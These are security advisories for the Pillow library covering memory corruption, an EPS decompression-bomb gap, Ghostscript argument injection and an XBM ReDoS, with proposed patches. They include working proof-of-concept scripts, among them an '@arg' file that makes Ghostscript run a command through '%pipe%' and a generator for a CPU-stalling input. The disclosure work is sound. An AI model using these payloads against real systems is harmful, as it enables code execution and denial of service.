This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow multi-frame loaders can reuse stale native image storage after mode transitions

BIT-pillow-2026-96639 / CVE-2026-96639 / GHSA-v9pv-5gc8-w2m6 / PYSEC-2026-4339

More information

Details

Summary

Pillow multi-frame image loaders can retain native ImagingCore storage allocated for one frame while changing the Python-side image mode and decoder tiles for a later frame.

If frame 0 allocates storage for a narrow mode such as L, and a later frame of the same dimensions switches to a wider mode such as RGB or CMYK, Pillow may decode wider pixels into the stale narrow native buffer. This causes native
out-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented ImageSequence.Iterator + frame.load() path.

Details

The root cause appears to be that ImageFile.load_prepare() only reallocates native storage when _im is None. It does not verify that the retained native ImagingCore storage still matches self.mode and self.size.

Several multi-frame seek() / _open() paths can update self._mode and decoder tiles for a later frame without invalidating _im. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode.

Verified affected surfaces:

  1. PSD

    PsdImageFile.seek() can switch from grayscale/native L storage to RGB layer decoding while retaining _im. This produces attacker-controlled native out-of-bounds writes and reliable crashes.

  2. MPO/JPEG

    A crafted two-frame MPO can make frame 0 allocate L storage, then make frame 1 decode CMYK / RGB data into the retained L storage. The documented ImageSequence.Iterator path reaches this with frame.load().
    Verified native memory corruption, crash, over-read behavior, and scoped harmless-marker command execution on Pillow 12.3.0.

  3. DCX

    DcxImageFile.seek() calls PcxImageFile._open(), which changes mode/tile state without a native-storage mode guard. A crafted DCX with L then RGB PCX frames produces retained-storage mismatch and crash.

  4. MIC

    MIC can call TiffImageFile._open() directly and bypass TIFF's normal guarded seek() behavior. With a NextIFD-based reachable frame transition, this produces retained-storage mismatch and crash.

TIFF appears to be a useful positive control because its seek() path checks
both size and mode before reusing storage.

Impact
  • process crash / denial of service,
  • native out-of-bounds write,
  • native over-read in the MPO path.

Stronger proven impact:

  • command execution in matching Python/Pillow runtime profiles through the MPO/JPEG path.

Server-side deployment impact:

  • Create a local vulnerable web upload service that accepts an unauthenticated MPO upload and automatically processes it with Pillow.
  • The attack is one HTTP request and requires no user interaction after upload.
  • The fixed harmless command-output marker succeeded 10/10 times.
  • The _im=None control was clean 10/10 times.
Reproduction Evidence

Tested version:

Pillow 12.3.0

MPO terminal proof environments:

Python 3.12.3 + Pillow 12.3.0, clean PyPI environment:
marker 10/10, control 0/10

Python 3.13.14 + Pillow 12.3.0, prepared profile:
marker 10/10, control 0/10

Server-side web-upload proof:

control 1..10: MARKER_MISSING
control_summary ok 0 missing 10 /10

vulnerable 1..10: MARKER_OK marker_output <server-user>
vulnerable_summary ok 10 missing 0 /10

The terminal proof uses a fixed harmless marker command only. It does not use a reverse shell, persistence, data exfiltration, or arbitrary attacker-selected commands.

I can provide the following private artifacts to maintainers:

  • minimal crash fixtures for PSD, MPO, DCX, and MIC,
  • non-weaponized MPO marker PoC,
  • local vulnerable web upload demo,
  • gdb/GEF geometry receipts,
  • control-run logs,
  • proposed regression-test shape.
Minimal Reproduction Shape

For the MPO path, the vulnerable consumer shape is:

from io import BytesIO
from PIL import Image, ImageSequence

source = BytesIO(open(path, "rb").read())
image = Image.open(source)
iterator = ImageSequence.Iterator(image)
next(iterator).load()
next(iterator).load()

The crafted image shape is:

frame 0: mode L, dimensions W x H
frame 1: same W x H, wider mode such as CMYK

Frame 0 allocates native L storage. Frame 1 changes the logical mode and decoder state but can reuse the old native storage. The frame 1 decoder writes using the wider mode into the narrow storage.

Suggested Fix Direction

Before reusing native ImagingCore storage, Pillow should verify that the retained storage is compatible with the current logical image mode and size.

A central guard in ImageFile.load_prepare() could compare native storage mode/size against self.mode / self.size and allocate fresh storage when they differ. Alternatively, every mode-changing seek() / _open() path should explicitly invalidate _im before decoding.

Caution: TIFF has specialized tile-size behavior and already has a mode/size guard, so a central fix should avoid regressing TIFF tile-buffer handling.

Credit
Rotem Kama
Methodology Note

AI-assisted analysis was used for discovery and verification support. Claims in this report are limited to the local artifacts, controls, and command outputs described above.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: EPS load(scale) lets Ghostscript render past the decompression bomb limit

CVE-2026-112899 / GHSA-vx6w-vv9f-6gvg

More information

Details

============================================================================
EPS load(scale) lets Ghostscript render past the decompression bomb limit
Location: src/PIL/EpsImagePlugin.py:92  in Ghostscript()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

When an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale² times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file.

The cause is in Ghostscript() in src/PIL/EpsImagePlugin.py. It multiplies the file-declared size by the caller's scale (lines 93-94) and passes the product to gs as the -g output geometry. It never calls Image._decompression_bomb_check() on the scaled size. The only check is the one Image.open() ran on the unscaled size, so a file declaring 9000×9000 passes, and load(scale=2) then asks Ghostscript for 18000×18000 (3.6× MAX_IMAGE_PIXELS). A file declaring 18000×18000 directly would be refused before Ghostscript ever ran. DecompressionBombError fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption.

The effect is a constant-factor overshoot rather than an unbounded one, for three reasons:

  • The multiplier is an integer chosen by the application, not by the file.
  • With the default warning filter, Image.open() already lets files up to 2× the limit reach Ghostscript at scale=1.
  • Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since gs runs with no timeout.

This is the EPS counterpart of the WMF load(dpi) gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing Image.open() and reaching gs with -g18000x18000. A one-line patch mirroring the WMF check is included.

Details

EpsImageFile.load(scale=N) (the documented way to rasterise an EPS at higher resolution) renders width*N × height*N pixels through Ghostscript, but the only decompression-bomb check on the way is the one Image.open() ran on the unscaled, file-declared width × height. The scaled product is never passed to Image._decompression_bomb_check() before gs is started.

This 111-byte EPS declares 9000×9000 = 81,000,000 pixels, below the default MAX_IMAGE_PIXELS (89,478,485), so Image.open() accepts it without even a warning:

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 9000 9000
%%EndComments
0 0 moveto 9000 9000 lineto stroke
showpage

im.load(scale=2) on it then executes

gs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage

i.e. asks Ghostscript for an 18000×18000 = 324,000,000-pixel raster (3.6× MAX_IMAGE_PIXELS), whose pnmraw output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000×18000 directly is rejected by Image.open() with DecompressionBombError before Ghostscript is ever run; via scale=2 the same raster is rendered first and the DecompressionBombError only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1× and 2× MAX_IMAGE_PIXELS, Image.open() only emits DecompressionBombWarning, so with the default warning filter an EPS declaring e.g. 13377×13377 is already rendered at scale=1 — a 537 MB PNM. Against that baseline, scale=2 is 4× an already-permitted render.)

The arithmetic is in Ghostscript():


##### src/PIL/EpsImagePlugin.py:91-97
    # Hack to support hi-res rendering
    scale = int(scale) or 1
    width = size[0] * scale
    height = size[1] * scale
    # resolution is dependent on bbox and size
    res_x = 72.0 * width / (bbox[2] - bbox[0])
    …

##### src/PIL/EpsImagePlugin.py:139-142
    command = [
        gs_binary,
        "-q",  # quiet mode
        f"-g{width:d}x{height:d}",  # set output geometry (pixels)
    …

##### src/PIL/EpsImagePlugin.py:165-168
        subprocess.check_call(command, startupinfo=startupinfo)
        with Image.open(outfile) as out_im:
            out_im.load()
            return out_im.im.copy()

and its caller does nothing between taking scale from the application and invoking it:


##### src/PIL/EpsImagePlugin.py:411-417
    def load(self, scale: int = 1, transparency: bool = False) -> …:
        # Load EPS via Ghostscript
        if self.tile:
            assert self.fp is not None
            self.im = Ghostscript(self.tile, self.size, self.fp, scale, transparency)

size here is self._size, computed in _open() from the file's %%BoundingBox (or %ImageData) and checked once by Image.open() at src/PIL/Image.py:3700. For the benign path (scale=1) that check covers exactly what Ghostscript is asked to render. For scale=N the rendered pixel count is N² times what was checked, so a file can sit just under the limit at open time and have Ghostscript render 4× (scale 2), 9× (scale 3), 16× (scale 4) the configured budget. The first point at which Pillow looks at the real size again is Image.open(outfile) at line 166 — after subprocess.check_call has returned, i.e. after Ghostscript has spent the CPU and written width*height*3 bytes to tempfile.mkstemp()'s directory.

WmfStubImageFile.load(dpi) has the same shape (file-derived extent × caller-supplied factor → new raster) and, since af70b075a, calls Image._decompression_bomb_check(self.size) on the recomputed size before rendering (src/PIL/WmfImagePlugin.py:127-131). The EPS path lacks the equivalent line. The gap dates from ce2955ec7128 ("Throw an exception when an opened image is larger than an arbitrary limit", 2014-05-14, first released in 2.5.0), which added the check to Image.open() without covering the scale path.

Impact

Affected are applications that open untrusted EPS/PS with Ghostscript installed and call load(scale=N) with a fixed N > 1, as the handbook suggests for non-blurry output. Handing untrusted EPS to Ghostscript at all already lets the same attacker tie up a worker with an equally tiny file (e.g. a PostScript {} loop; Pillow runs gs with no timeout), so this bug adds a constant factor rather than a new denial-of-service capability. Within that setting, a ~110-byte upload makes each request run Ghostscript over N² × MAX_IMAGE_PIXELS pixels (N² × 2·MAX_IMAGE_PIXELS if the application does not turn DecompressionBombWarning into an error) and write a W·H·3-byte PNM into the temp directory — 972 MB for the example above at scale 2, 2.2 GB at scale 3, 8.6 GB for a 178-Mpixel declaration at scale 4 — before any limit is applied. The operator's MAX_IMAGE_PIXELS setting is exceeded by a factor of N²; N is an integer chosen by the application, not by the file, so the work stays bounded at N² × 2·MAX_IMAGE_PIXELS. The consequence is N² more Ghostscript CPU and temp-disk use per request than the configured limit intends; Pillow's own in-process pixel allocation remains bounded because Image.open(outfile) re-checks the PNM's size, and there is no memory corruption.

This is a sibling of the WMF load(dpi) issue fixed in af70b075a ("Add decompression bomb check when loading at a different DPI"); the EPS scale path was not covered by that change. Unlike the WMF case, where the file-controlled _inch makes the ratio unbounded, the EPS multiplier is fixed by the application.

Reproducing

Run repro against the installed Pillow. Ghostscript does not need to be installed: the script sets EpsImagePlugin.gs_binary = "gs" so that has_ghostscript() skips its gs --version probe, and replaces subprocess.check_call with a function that records the command line Pillow builds and then raises OSError, so nothing is actually rendered.

It writes a 76-byte EPS declaring %%BoundingBox: 0 0 9000 9000 (the example above without the drawing line; 81 Mpixel, below the default MAX_IMAGE_PIXELS of 89,478,485) and turns DecompressionBombWarning into an error, so any bomb check — warning or hard error — counts. It then calls Image.open() and im.load(scale=2). Image.open() accepts the file and load(scale=2) reaches the intercepted Ghostscript call with -g18000x18000 (324,000,000 pixels, 3.6× MAX_IMAGE_PIXELS, a 972 MB pnmraw output with real Ghostscript). The script prints the geometry it captured.

It prints BUG when Ghostscript was invoked with a -g geometry above 2*MAX_IMAGE_PIXELS (178,956,970) and no decompression-bomb check fired before that call; otherwise it prints OK. With the attached patch applied, load(scale=2) raises DecompressionBombError before Ghostscript is called and the script prints OK.

Suggested fix

The attached patch checks the scaled size in Ghostscript() right after the scaled width/height are computed (src/PIL/EpsImagePlugin.py:93-94) and before the gs command is built, mirroring WmfStubImageFile.load:

--- a/src/PIL/EpsImagePlugin.py
+++ b/src/PIL/EpsImagePlugin.py
@@ -92,6 +92,7 @@ def Ghostscript(
     scale = int(scale) or 1
     width = size[0] * scale
     height = size[1] * scale
+    Image._decompression_bomb_check((width, height))
     # resolution is dependent on bbox and size
     res_x = 72.0 * width / (bbox[2] - bbox[0])
     res_y = 72.0 * height / (bbox[3] - bbox[1])

load(scale=N) now raises DecompressionBombError / emits DecompressionBombWarning under the same MAX_IMAGE_PIXELS thresholds Image.open() applies, before Ghostscript runs instead of after. Placing the check in Ghostscript() rather than in EpsImageFile.load() is the single point where the rendered extent is decided, so it also covers direct callers of the module-level function. With the patch applied to a clean checkout the reproducer prints OK and Tests/test_file_eps.py passes. One cosmetic side effect: at scale=1 the check re-emits the DecompressionBombWarning that Image.open() already issued for sizes between 1× and 2× the limit; guarding the call with if scale > 1: would avoid the duplicate.

The patch also adds test_load_scale_decompression_bomb to Tests/test_file_eps.py, in the style of the WMF test: it sets MAX_IMAGE_PIXELS to im.width * im.height and expects im.load(scale=2) to raise DecompressionBombError. Like the rest of that file it is skipped without Ghostscript, because has_ghostscript() is consulted at the top of Ghostscript(); moving the check above that call would let the test run without it.

The patch

Add decompression bomb check on the scaled size in EpsImagePlugin.Ghostscript() before Ghostscript is invoked

Applies to src/PIL/EpsImagePlugin.py at the commit above.

diff --git a/Tests/test_file_eps.py b/Tests/test_file_eps.py
index 70eced62a..de331d97f 100644
--- a/Tests/test_file_eps.py
+++ b/Tests/test_file_eps.py
@@ -98,6 +98,14 @@ def test_sanity(filename: str, size: tuple[int, int], scale: int) -> None:
         assert image.format == "EPS"
 
 
+@pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason="Ghostscript not available")
+def test_load_scale_decompression_bomb(monkeypatch: pytest.MonkeyPatch) -> None:
+    with Image.open(FILE1) as im:
+        monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", im.width * im.height)
+        with pytest.raises(Image.DecompressionBombError):
+            im.load(scale=2)
+
+
 @pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason="Ghostscript not available")
 def test_load() -> None:
     with Image.open(FILE1) as im:
diff --git a/src/PIL/EpsImagePlugin.py b/src/PIL/EpsImagePlugin.py
index 5eaefe339..ccc6f1d85 100644
--- a/src/PIL/EpsImagePlugin.py
+++ b/src/PIL/EpsImagePlugin.py
@@ -92,6 +92,7 @@ def Ghostscript(
     scale = int(scale) or 1
     width = size[0] * scale
     height = size[1] * scale
+    Image._decompression_bomb_check((width, height))
     # resolution is dependent on bbox and size
     res_x = 72.0 * width / (bbox[2] - bbox[0])
     res_y = 72.0 * height / (bbox[3] - bbox[1])
The reproducer
Reproducer — repro, 1,845 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### EpsImagePlugin.Ghostscript(): load(scale=N) hands gs a -g geometry of

##### (W*N)x(H*N) with no _decompression_bomb_check on the scaled size; only the
##### unscaled WxH was checked by Image.open(). gs is not installed here, so we

##### set gs_binary and intercept subprocess.check_call to read the argv Pillow builds.
import os, subprocess, tempfile, warnings
from PIL import Image, EpsImagePlugin

EpsImagePlugin.gs_binary = "gs"  # skip the `gs --version` probe
path = os.path.join(tempfile.mkdtemp(), "a.eps")
with open(path, "w") as f:  # 9000x9000 = 81 Mpx < MAX_IMAGE_PIXELS (89.5 Mpx)
    f.write("%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 9000 9000\n%%EndComments\nshowpage\n")

calls = []
def fake_check_call(cmd, **kw):
    calls.append(cmd)
    raise OSError("gs intercepted")  # stop here; we only need the argv
subprocess.check_call = fake_check_call

hard = 2 * Image.MAX_IMAGE_PIXELS
bomb_before_gs = False
with warnings.catch_warnings():
    warnings.simplefilter("error", Image.DecompressionBombWarning)
    try:
        with Image.open(path) as im:
            print("Image.open accepted", os.path.getsize(path), "byte EPS, size", im.size)
            im.load(scale=2)
    except (Image.DecompressionBombError, Image.DecompressionBombWarning) as e:
        bomb_before_gs = not calls
        print("bomb check fired", "before" if bomb_before_gs else "after", "gs:", e)
    except OSError as e:
        print("load() reached gs:", e)

over = False
for c in calls:
    g = next(a for a in c if a.startswith("-g"))[2:]
    w, h = map(int, g.split("x"))
    over |= w * h > hard
    print(f"gs argv geometry -g{g} = {w*h} px ({w*h/Image.MAX_IMAGE_PIXELS:.1f}x MAX_IMAGE_PIXELS, "
          f"hard limit {hard}); pnmraw output would be {w*h*3} bytes")
print("BUG" if calls and over and not bomb_before_gs else "OK")

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Argument Injection in Ghostscript call, potentially leading into RCE

BIT-pillow-2026-112900 / CVE-2026-112900 / GHSA-w889-685w-c8fh

More information

Details

Summary

PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Type

CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)

Vulnerable Codes
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
    infile = fp.name                      # user-controlled path used as-is, without validation
else:
    in_fd, infile_temp = tempfile.mkstemp()
    os.close(in_fd)
    infile = infile_temp
    # ... (copy fp into a temporary file)

##### Build Ghostscript command
command = [
    gs_binary,
    "-q",
    f"-g{width:d}x{height:d}",
    f"-r{res_x:f}x{res_y:f}",
    "-dBATCH",
    "-dNOPAUSE",
    "-dSAFER",                            # default sandbox — does NOT stop this injection
    f"-sDEVICE={device}",
    f"-sOutputFile={outfile}",
    "-c",
    f"{-bbox[0]} {-bbox[1]} translate",
    "-f",
    infile,                               # injected here: inserted into argv with no check for
                                          # option prefixes (-, --) or Ghostscript's @-file token
                                          # => argument injection (CWE-88)
    "-c",
    "showpage",
]

##### ...
subprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript
Root cause.

When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @​ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.

Affected
  • Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
  • Component: src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name, and the command list entry "-f", infile.
Suggested fix

Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@):

    if hasattr(fp, "name") and os.path.exists(fp.name):
        infile = os.path.abspath(fp.name)   # was: infile = fp.name

os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.

PoC

dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.

FROM ubuntu:24.04

RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .

CMD ["python3", "poc.py"]

poc.py

import os
from PIL import Image

############################################################################################

##### Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
    im.load()
except Exception as e:
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't display `help`")

poc-rce.py

import os
from PIL import Image

############################################################################################

##### Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

##### To chain this vulnerability into critical RCE, We need another arbitrary text file

##### In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
    im.load()
except Exception as e:
    print(f"*********************************************")
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection  ; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't call `id`")

arg

-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
Impact

Confirmed — Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.

Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of id).

Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)

Why this is a Pillow bug (not the documented "block untrusted EPS" risk)

This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this.
Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@​) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.

Author

Chanu Kang (from CysecLab at KAIST) @​HLe4s

Severity

  • CVSS Score: 9.2 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes

BIT-pillow-2026-112901 / CVE-2026-112901 / GHSA-xgh8-jp6q-p5x8 / PYSEC-2026-4335

More information

Details

============================================================================
ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes
Location: src/PIL/XbmImagePlugin.py:58  in XbmImageFile._open()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A crafted 512-byte file makes Pillow's Image.open() spend about six minutes of processor time on one core before it gives up with UnidentifiedImageError. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes.

The cause is the xbm_head regular expression in src/PIL/XbmImagePlugin.py:32-40, which XbmImageFile._open() (line 58) runs over the first 512 bytes of any stream whose prefix starts with #define. Several adjacent parts of the pattern can match the same characters. [ \t]+ overlaps with .* in the width and height lines and with [^_]* in the optional hotspot lines, and [\r\n]+ closing the hotspot group overlaps with the following [\000-\377]*. The header sets a run of k spaces after each #define and a run of k line terminators after _y_hot, then omits the [] after _bits. That forces Python's backtracking matcher to try every way of splitting those runs and rescan the remaining bytes each time. The cost grows roughly as k to the fifth power: k = 60 measured 375 s, while a well-formed XBM of the same size opens in about 40 ms. Because this happens before any format is identified, none of Pillow's size, pixel-count or decompression-bomb limits apply, and upload size limits do not help because the file is tiny. ImageFile.Parser.feed() repeats the cost on every chunk until the stream is identified. The only existing mitigation is passing a formats= allowlist that excludes "XBM".

The attached reproducer opens the same header with and without the trailing []. The valid version opens as XBM in 52 ms. The broken version takes 0.1 s, 0.75 s, 3.0 s and 8.6 s at k = 10, 15, 20 and 25, and the slow k = 60 case is not run. This is the same class of bug as CVE-2021-25292 in PdfParser, but in a different plugin and reachable from plain Image.open().

Details

XbmImageFile._open() identifies an XBM file by running the module-level regex xbm_head over the first 512 bytes of the stream. The pattern has several adjacent quantifier pairs that can consume the same characters, followed by a [\000-\377]*_bits\[] tail that rescans the rest of the buffer for every way of splitting them. A 512-byte input built to exercise all of them and then fail the final literal keeps Image.open() in xbm_head.match() for minutes before it raises UnidentifiedImageError.

This 512-byte input (k = 60) takes 375 s of CPU in Image.open(io.BytesIO(data)) with default settings, measured on the stock build at this commit:

k = 60
data  = b"#define" + b" "*k + b"_width 1\r"
data += b"#define" + b" "*k + b"_height 1\r"
data += b"#define" + b" "*k + b"_x_hot 1\r"
data += b"#define" + b" "*k + b"_y_hot 1" + b"\r"*k
data += b"_bits"                      # no "[]": the final literal never matches
data += b"A" * (512 - len(data))      # pad to the 512 bytes _open() reads

Calling XbmImagePlugin.xbm_head.match(data) directly gives the same picture: k = 10 → 0.11 s, k = 15 → 0.76 s, k = 20 → 3.0 s, k = 25 → 8.5 s, k = 30 → 19.9 s (roughly ×27 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 µs and opens and loads through Image.open() in ~40 ms including plugin import; the same k = 60 header with _bits[] present matches in 5 µs.

The regex, src/PIL/XbmImagePlugin.py:32:

xbm_head = re.compile(
    rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
    b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
    b"(?P<hotspot>"
    b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
    b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
    b")?"
    rb"[\000-\377]*_bits\[]"
)

and the only call site, src/PIL/XbmImagePlugin.py:58:

    def _open(self) -> None:
        …
        m = xbm_head.match(self.fp.read(512))
        if not m:
            msg = "not a XBM file"
            raise SyntaxError(msg)

For a well-formed header (#define im_width 8\n…static char im_bits[] = {) each [ \t]+ eats the single space, .*/[^_]* eat the identifier prefix, and [\000-\377]*_bits\[] finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points:

  • [ \t]+.*_width and [ \t]+.*_height: the run of k spaces after #define can be split between [ \t]+ and .* in k ways, all leading to the same continuation. Factor k each. (The choice of \r terminators is incidental: the same header with \n terminators is equally slow.)
  • [ \t]+[^_]*_x_hot and [ \t]+[^_]*_y_hot inside the optional hotspot group: [^_]* also matches spaces, so the same k-way split exists twice more. Factor k each. These two lines are essential: without them the same input is rejected in about 10 ms.
  • [\r\n]+ closing the hotspot group, followed by )? and [\000-\377]*: the run of k \r bytes after _y_hot 1 can be divided between [\r\n]+ and [\000-\377]* in k ways. Factor k.
  • [\000-\377]*_bits\[]: for every combination above, the engine swallows the remaining ~150 bytes of padding and walks back looking for _bits[]. The input contains _bits but never [], so this always fails and every combination is visited.

CPython's re is a backtracking engine without memoisation, so the total work is on the order of k^5 × (512 − header length) steps — about 10^11 for k = 60, consistent with the measured 375 s. The 512-byte read caps k (5k + ~60 ≤ 512), so the cost per open() is bounded, but the bound is minutes of CPU.

The path is the default one. Image.open() (src/PIL/Image.py:3719) reads a 16-byte prefix and offers it to every registered plugin's accept hook; XbmImagePlugin._accept() (src/PIL/XbmImagePlugin.py:43) returns true for anything whose left-stripped prefix starts with #define, and _open() then runs the regex. No size, pixel-count or decompression-bomb check can apply before this point because nothing has been parsed yet, and since the match ultimately fails the file is never identified, so the only outcome for the caller is UnidentifiedImageError after the delay. File name and extension are irrelevant because dispatch is by content. A faulthandler stack dump taken 20 s into the call shows the interpreter at XbmImagePlugin.py:58 in _open ← ImageFile.py:154 in __init__ ← Image.py:3699 in _open_core ← Image.py:3719 in open.

ImageFile.Parser.feed() (src/PIL/ImageFile.py:584) amplifies this further: until the stream is identified it calls Image.open() on all accumulated data at every feed(), so an application feeding the stream in chunks pays the regex cost once per chunk (measured: k = 15 header fed in 8 chunks → 4.6 s versus 0.76 s for a single open()).

Impact

Anyone who can get 512 bytes in front of Image.open() — an upload endpoint, thumbnailer, or any service that uses Pillow to sniff whether a blob is an image — pins one CPU core of the handling process for roughly six minutes per request with the default plugin set and default limits. Nothing large is allocated and no DecompressionBombWarning/Error fires; application-side upload size limits do not help because the file is tiny, and Image.MAX_IMAGE_PIXELS is never consulted because no image is ever identified. A handful of concurrent requests is enough to exhaust a typical worker pool. The per-call cost is bounded by the 512-byte header read, so this is a CPU-exhaustion denial of service of the handling process rather than an infinite loop. Applications that pass an explicit formats= allowlist to Image.open() that excludes "XBM" are not affected.

This is the same bug class as CVE-2021-25292 (catastrophic backtracking in the PdfParser regexes, fixed in 8.1.1) and CVE-2021-23437 (ImageColor.getrgb ReDoS, fixed in 8.3.2), in a different plugin; unlike the PDF case it is reached from plain Image.open() on any byte stream.

Reproducing

